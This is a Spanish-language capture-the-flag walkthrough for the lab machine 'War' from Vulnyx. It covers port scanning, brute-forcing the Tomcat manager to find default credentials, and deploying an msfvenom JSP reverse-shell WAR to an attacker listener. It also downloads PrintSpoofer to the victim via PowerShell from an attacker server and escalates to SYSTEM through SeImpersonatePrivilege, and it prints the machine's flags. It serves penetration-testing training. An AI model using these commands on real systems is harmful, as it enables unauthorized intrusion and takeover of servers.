War Vulnyx (Easy - Windows)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-03 04:07 EDT
Nmap scan report for 192.168.5.70
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5040/tcp open unknown
8080/tcp open http Apache Tomcat (language: en)
|_http-title: Apache Tomcat/11.0.1
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27💿DF:7E (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: WAR, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27💿df:7e (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-08-03T18:09:54
|_ start_date: N/A
|_clock-skew: 9h59m58s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 175.87 seconds
Veremos varias cosas interesantes, entre ellas un puerto 8080
si entramos dentro del mismo, veremos un apache Tomcat
, esto es bastante interesante, vamos abrir metasploit
para probar a realizar una fuerza bruta
del login
del manager
(Administrador) y a ver si podemos encontrar las credenciales para ir al panel de admin.
msfconsole -q
Una vez dentro utilizaremos el siguiente modulo:
use auxiliary/scanner/http/tomcat_mgr_login
Ahora lo configuraremos simplemente de esta forma:
set RHOSTS <IP_VICTIM>
run
Info:
[!] No active DB -- Credential data will not be saved!
[-] 192.168.5.70:8080 - LOGIN FAILED: admin:admin (Incorrect)
[-] 192.168.5.70:8080 - LOGIN FAILED: admin:manager (Incorrect)
[-] 192.168.5.70:8080 - LOGIN FAILED: admin:role1 (Incorrect)
[-] 192.168.5.70:8080 - LOGIN FAILED: admin:root (Incorrect)
[+] 192.168.5.70:8080 - Login Successful: admin:tomcat
Vemos que encontro unas credenciales por defecto, por lo que vamos a probarlas, nos iremos a la siguiente ruta web.
URL = http://<IP>/manager/html
Aqui nos pedira un login
meteremos lo que encontramos admin:tomcat
y veremos que estaremos dentro del panel de administrador, estando aqui dentro podremos probar a subir un archivo .war
en el que cuando accedamos nos de una reverse shell
, vamos a probar a ver si funciona.
Escalate user nt authority\local service
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP-ATTACKER> LPORT=<PORT> -f war -o shell.war
Ahora vamos a ponernos a la escucha antes de nada:
nc -lvnp <PORT>
Una vez echo esto, nos iremos a la pagina y en la parte de WAR file to deploy
subiremos el archivo war
que hemos generado, una vez cargado y subido, un poco mas arriba veremos nuestro war
subido en Applications
por lo que ha funcionado de forma correcta.

Ahora si le damos a ese /shell
nos llevara a la "pagina" que hemos creado, una vez dado a dicha "pagina" si volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.70] 56192
Microsoft Windows [Version 10.0.19045.2965]
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\Apache Software Foundation\Tomcat 11.0>whoami
whoami
nt authority\local service
Veremos que ha funcionado, por lo que vamos a realizar un poco de fuzzing
a ver que encontramos.
Escalate Privileges
Si listamos los permisos que tenemos veremos lo siguiente:
whoami /priv
Info:
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeSystemtimePrivilege Change the system time Disabled
SeShutdownPrivilege Shut down the system Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
Veremos bastante interesante esta linea:
SeImpersonatePrivilege Impersonate a client after authentication Enabled
Al saber que tenemos como victima un Windows 10
posiblemente no funcione el ejecutable antiguo llamado JuicyPotato.exe
ya que Algunas versiones modernas de Windows bloquean DCOM/COM CLSIDs, por lo que vamos a utilizar una version mas facil llamada PrintSpoofer
.
URL = PrintSpoofer64.exe GitHub
Una vez que nos hayamos descargado el de 64 bits
vamos a pasarnoslo a nuestra maquian victima de esta forma con un comando de powershell
.
Antes abriremos un servidor de python3
donde este el binario.
python3 -m http.server 8000
Ahora ejecutamos esto en la maquina victima:
powershell -c "(New-Object Net.WebClient).DownloadFile('http://<IP>:8000/PrintSpoofer64.exe', 'C:\Users\Public\Downloads\PrintSpoofer64.exe')"
Una vez echo lo anterior lo vamos a ejecutar de esta forma:
.\PrintSpoofer64.exe -i -c powershell
Info:
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Windows\system32> whoami
whoami
nt authority\system
Con esto veremos que ha funcionado y seremos ya directamente nt authority\system
por lo que vamos a leer las flags
del usuario y de root
.
user.txt
3a1ddb915bd423f0ca428dce35612dcb
root.txt
1399d5ba705df14146335def4ff64520
Last updated